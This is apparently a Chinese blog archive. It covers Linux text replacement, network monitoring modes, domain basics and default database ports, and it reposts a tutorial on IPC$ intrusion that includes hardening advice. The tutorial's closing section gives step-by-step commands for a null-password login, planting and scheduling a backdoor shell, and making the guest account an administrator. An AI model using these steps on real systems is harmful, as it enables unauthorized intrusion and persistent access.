2014年11月

linux文本处理:多文件批量查找替换

方法一:

sed -i "s/旧字符串/新字符串/g" `grep 旧字符串 -rl 目录`

(上面右边的不是单引号,是键盘上面数字1左边的按键的符号)

其中,grep aaa -rl /www 是查找出包含字符串“aaa”的文件列表。

例如:

把 /www/test.com目录下的所有文件中包含baidu的都替换成google

sed -i "s/baidu/google/g" `grep baidu -rl /www/test.com`


方法二:

perl -pi -e "s/baidu/google/g" /www/*.htm /www/*.txt

将www文件夹下所有的htm和txt文件中的“baidu”都替换为“google”

这种方式就是不用给出包含“baidu”字符串的文件列表,它会自己查找,找到了就替换。


方法三:

perl -pi -e 's|baidu|google|g' `find /www -type f`

将www文件夹下所有文件,不分扩展名,所有的“baidu”都替换为“google”

这种方式还有个特点,就是指定查找复杂的html代码,例如 <a href="#">aaa</a> ,为什么上面两种不行呢?因为上面两种在命令中出现了双引号或者斜杠,如果你要查找的字符也包含双引号或斜杠,就会使命令匹配时出现问题,无法完成任务。

perl -pi -e 's|<a href="#">aaa</a>|<a href="/">Home</a>|g' *

将当前目录下所有文件进行查找替换,将 <a href="#">aaa</a> 替换为 <a href="/">Home</a>

旁路镜像、端口镜像、旁路监控

常见的网络监控模式可以分为两种:一种是旁路监控模式,另一种是串联监控模式。

“旁路监控模式”一般是指通过交换机等网络设备的“端口镜像”功能来实现监控,在此模式下,监控设备只需要连接到交换机的指定镜像端口,所以形象的称之为“旁路监控”。

而串联模式一般是通过网关、网桥或者代理服务器的模式来进行监控,由于监控设备做为网关或者网桥串联在网络中,所以称之为“串联监控模式”。

旁路模式的优缺点

优点:

  • 旁路监控模式部署起来比较灵活方便,只需要在交换机上面配置镜像端口即可。不会影响现有的网络结构。而串联模式一般要作为网关、网桥或者代理服务器,所以需要对现有网络结构进行变动。
  • 旁路模式分析的是镜像端口拷贝过来的数据,对原始传递的数据包不会造成延时,不会对网速造成任何影响。而串联模式是串联在网络中的,那么所有的数据必须先经过监控系统,通过监控系统的分析检查之后,才能够发送到各个客户端,所以会对网速有一定的延时。
  • 旁路监控设备一旦故障或者停止运行,不会影响现有网络。而串联监控设备如果出现故障,会导致网络中断。

缺点:

  • 需要交换机或者路由支持“端口镜像”功能才可以实现监控。
  • 旁路模式采用发送RST包的方式来断开TCP连接,不能禁止UDP通讯。对于UDP应用,一般还需要在路由器上面禁止UDP端口进行配合。而串联模式不存在该问题。


串联模式的优缺点

优点:

  • 利用windows自带的“网关”、“网桥”功能即可实现,不需要硬件设备的支持。
  • 可以禁止UDP通讯数据包。

缺点:

  • 需要更改现有的网络结构。
  • 与“旁路监控”相比较,“网关”、“网桥”的配置更加复杂些。
  • 由于是串联模式,当局域网电脑台数多时,对网速有少许的影响。这个主要取决于电脑的硬件配置。

内网渗透基础:内网、域、工作组、域控概念介绍

<h3>一、什么是内网</h3>

<p>局域网Local Area Network, LAN),又称内网,是指在某一区域内由多台计算机互联成的计算机组。</p> <p>局域网可以实现文件管理、应用软件共享、打印机共享、扫描仪共享、工作组内的日程安排、电子邮件和传真通信服务等功能。局域网严格意义上是封闭型的。它可以由办公室内几台甚至上千台计算机组成。决定局域网的主要技术要素为:网络拓扑,传输介质与介质访问控制方法。</p> <p>局域网标准定义了传输媒介、编码和介质访问等底层(一二层)功能。要使数据通过复杂的网络结构传输到达目的地,还需要具有寻址、路由和流量控制等功能的网络协议的支持。TCP/IP(传输控制协议/互联网络协议)是最普遍使用的局域网网络协议。它也是互联网所使用的网络协议。其他常用的局域网协议包括,IPX、AppleTalk等。</p>

<p>更多内容请查阅百度百科介绍维基百科介绍</p>

<h3>二、什么是域、域控制器</h3>
<p>域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。</p>
<p>域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。</p>
<p>域控制器的作用相当一个门卫,它包含了由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号和密码是否正确。如果正确则允许计算机登入这个域,使用该域内其有权限访问的任何资源,像文件服务器,打印服务器(也就是说域控制器仅起到一个验证作用,访问其他资源并不需要再跟域控制器扯上关系);如果不正确则不允许计算机登入,这时计算机将无法访问域内任何资源,这在一定程度上保护了企业网络资源。</p>
<p>另外,域控制器可以对域内计算机进行集中管理,比如在域控制器上可以定义所有用户不能更改桌面,或者所有用户的密码长度必须8位以上,而工作组环境的计算机则无法做到这些。</p>
<p>一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。</p>
<p>域控制器自身所需配置非常低,对网络带宽的占用也几乎微不足道,另外正常情况下域控制器是不可能发布到外网使用的,因为它的安全关系到整个域组织的安全,如果用户希望他在外网也能够登入企业域使用内部资源,最常用的解决方式是在网关处开通VPN功能,这样既能保证账号密码传输的安全性,又能像在局域网一样便捷地访问网络资源。</p>

<h3>三、域、工作组和家庭组的区别</h3>

域、工作组和家庭组表示在网络中组织计算机的不同方法。它们之间的主要区别是对网络中的计算机和其他资源的管理方式。 网络中运行 Windows 的计算机必须属于某个工作组或某个域。家庭网络中运行 Windows 的计算机也可以属于某个家庭组,但这不是必需的。 家庭网络中的计算机通常是工作组的一部分,也可能是家庭组的一部分,而工作区网络上的计算机通常是域的一部分。 注意:家庭组在 Windows Server 2008 R2 中不可用。

<h4>在工作组中:</h4>

  • 所有的计算机都是对等的,没有计算机可以控制另一台计算机。
  • 每台计算机都具有一组用户帐户。若要登录到工作组中的任何计算机,您必须具有该计算机上的帐户。
  • 通常情况下,计算机的数量不超过二十台。
  • 工作组不受密码保护。
  • 所有的计算机必须在同一本地网络或子网中。

<h4>在家庭组中:</h4>

  • 家庭网络中的计算机必须属于某个工作组,但它们也可以属于某个家庭组。使用家庭组,可轻松与家庭网络中的其他人共享图片、音乐、视频、文档和打印机。
  • 家庭组受密码保护,但在将计算机添加到家庭组时,只需要键入一次密码即可。

<h4>在域中:</h4>

  • 有一台或多台计算机为服务器。网络管理员使用服务器控制域中所有计算机的安全和权限。这使得更容易进行更改,因为更改会自动应用到所有的计算机。域用户在每次访问域时必须提供密码或其他凭据。
  • 如果具有域上的用户帐户,您就可以登录到域中的任何计算机,而无需具有该计算机上的帐户。
  • 由于网络管理员经常要确保计算机之间的一致性,所以,您也许只能对计算机的设置进行有限制地更改。
  • 一个域中可以有几千台计算机。
  • 计算机可以位于不同的本地网络中。

<h3>四、如何查看计算机是否位于某个工作组或域中</h3>
<p>方法一</p>

  1. 通过单击「开始」按钮、右键单击“计算机”,然后单击“属性”,打开“系统”窗口。
  2. 在“计算机名称、域和工作组设置”下,您将看到名称前面有“工作组”或“域”字样。

<p>计算机名称、域和工作组设置</p>
<p>方法二</p>

  1. Windows+R组合键调出“运行”功能,输入cmd回车,打开命令提示符;
  2. 输入 net view /domain 并回车。

<p>计算机名称、域和工作组设置</p>

<h3>五、如何配置域环境、域控制器</h3>
<p>Google下网络上有很多文章,我这里列举两篇:</p>
<p>Windows Server 2008 R2 配置AD(Active Directory)域控制器</p>
<p>Windows Server 2012 AD 域和站点部署系列</p>

<h3>六、内网渗透常用命令</h3>

------------------------------ 常见信息收集命令----------------------------------- net user ------> 本机用户列表 net localgroup administrators ------> 本机管理员[通常含有域用户] net user /domain ------> 查询域用户 net group /domain ------> 查询域里面的工作组 net group "domain admins" /domain ------> 查询域管理员用户组 net localgroup administrators /domain ------> 登录本机的域管理员 net localgroup administrators workgroupuser001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) ---------------------------------------------------------------------------------- ipconfig /all ------> 查询本机IP段,所在域等 net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 net view /domain:domainname -----> 查看workgroup域中计算机列表 -------------------第三方信息收集----------------- NETBIOS 信息收集工具 SMB信息收集 空会话信息收集 端口信息收集 漏洞信息收集 原文:http://www.freebuf.com/articles/web/5783.html

常见数据库默认端口号一览表

MS SQL SERVER数据库server,默认的端口号为1433/tcp 1433/udp
MS SQL SERVER数据库monitor,默认的端口号为1434/tcp 1434/udp

MySQL 默认端口号为3306

Oracle 数据库,默认的端口号为1521
ORACLE EMCTL,默认的端口号为1158
Oracle XDB( XML 数据库),默认的端口号为8080
Oracle XDB FTP服务,默认的端口号为210

DB2 默认端口号为5000

pointbase 默认端口号为9092

4100是sybase在unix平台上的默认监听端口,4200是备份服务的端口
(貌似不同版本有差,未确认)

PostgreSQL 端口号默认是5432

一份详尽的IPC$入侵资料

原文链接:http://www.xfocus.net/articles/200303/493.html

仅优化排版,内容未做删减。


ipc$入侵应该是很老的东西了,目前公共的基础服务运营商都已经对139、445端口数据进行了屏蔽。
近期在大的内网做圈存机渗透测试,过程中搜罗到这篇资料,分享给有需要的坛友。



一、唠叨一下
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少)。
因此我写了这篇相当于解惑的教程,想把一些容易混淆、容易迷惑人的问题说清楚,让大家不要总徘徊在原地! 如果你看完这篇帖子仍有疑问,请马上回复!


二、什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞 ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表



三、建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四、 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  

五、 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)

另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了。


六、如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。


七、如何防范ipc$入侵
1.禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001
(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2.禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3.永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4.安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5.设置复杂密码,防止通过ipc$穷举密码


八、相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:""        (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码"     (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名"       (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认


九、经典入侵模式

这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组   
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)


十、总结
关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.



讨论(彩蛋):